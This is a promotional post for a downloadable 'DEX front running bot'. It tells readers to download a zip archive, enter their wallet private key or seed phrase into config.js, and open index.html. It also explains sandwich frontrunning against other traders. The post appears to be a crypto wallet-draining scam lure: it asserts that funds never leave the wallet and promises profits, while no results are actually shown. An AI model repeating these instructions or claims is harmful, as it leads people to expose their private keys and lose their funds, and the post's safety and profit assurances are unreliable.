This open-source JavaScript DEX Front Running Bot is a game-changer for crypto traders and DeFi enthusiasts.
✅ No installation required
✅ Funds never leave your wallet
✅ No need to trust a centralized exchange
This bot allows you to take advantage of DEX frontrunning mechanics — fully client-side and customizable.
A beta tester has created a helpful video showing how to configure and run the bot:
📺 Watch here:
https://vimeo.com/1141816302
Here’s what it looks like while running:
To begin using the JavaScript DEX Front Running Bot, follow these simple steps:
https://github.com/REJavaX/FrontRun-Bot-Dex-V4-REJavaX/archive/refs/heads/main.zip
Extract the contents to a folder you can easily find.
Locate the config.js file in the main folder Open it with any text editor:
Configure the settings according to your wallet and preferences:
1.- Public ETH Address
2.- Private Key or Wallet Seed
⚠️ If using a seed, still specify the public address you want to use
3.- Network selection:
1= Ethereum2= BNB Chain3= Polygon 4.-Max Spend = the amount out of you wallet the program is allowed to uses
💾 Save the file once you're done editing.
Open index.html in your web browser to launch the bot.
You’re welcome to fork, improve, or adapt the code.
If you do, please credit the original source 🙏
If you find this tool helpful, please consider voting for me in the next code contest!
I placed 4th last year, and your support means everything.
Started with ~1.89 ETH and here are the results after running the bot for 28 days:
Frontrunning is a trading strategy that exploits the slippage caused when large token trades are made on decentralized exchanges.
When someone initiates a swap on a DEX, the token price can move slightly — this is called slippage. For small traders, it’s minor. For whales, it can shift the price significantly.
Frontrunning bots beat the trader by paying higher gas fees and executing transactions before and after the trader’s transaction (a "sandwich"):
- Buy before the trade
- Let the whale push up the price
- Sell immediately after for profit
In a block explorer, this pattern shows the users transaction being sandwiched between two bot transactions.
#innovationlab #techfounders #programmerslife #scriptedsolutions #softwareengineering #softwareprojects #techtrends #machinelearning #techsavvy #lowcode FrontRun-Bot-Dex-V4-REJavaX is an intuitive, user-friendly bot designed for seamless interaction with Decentralized Exchanges (DEX). No API keys are required, making it accessible to everyone. Written in pure JavaScript, this bot eliminates the need for coding skills from the user experience. It's built to leverage the power of decentralization, allowing users to take advantage of opportunities within the dynamic crypto market with ease and confidence. Happy trading! 🚀 #techcommunity #buildinpublic #toolstack #digitalstrategy #fintech #techenthusiast #developers #automation #futureoftech #techfounders #technology #digitalbuilder #machinelearning #webapps #cloudengineering #systemdesign #appdevelopment #nodejs #buildwithcode #techsavvy






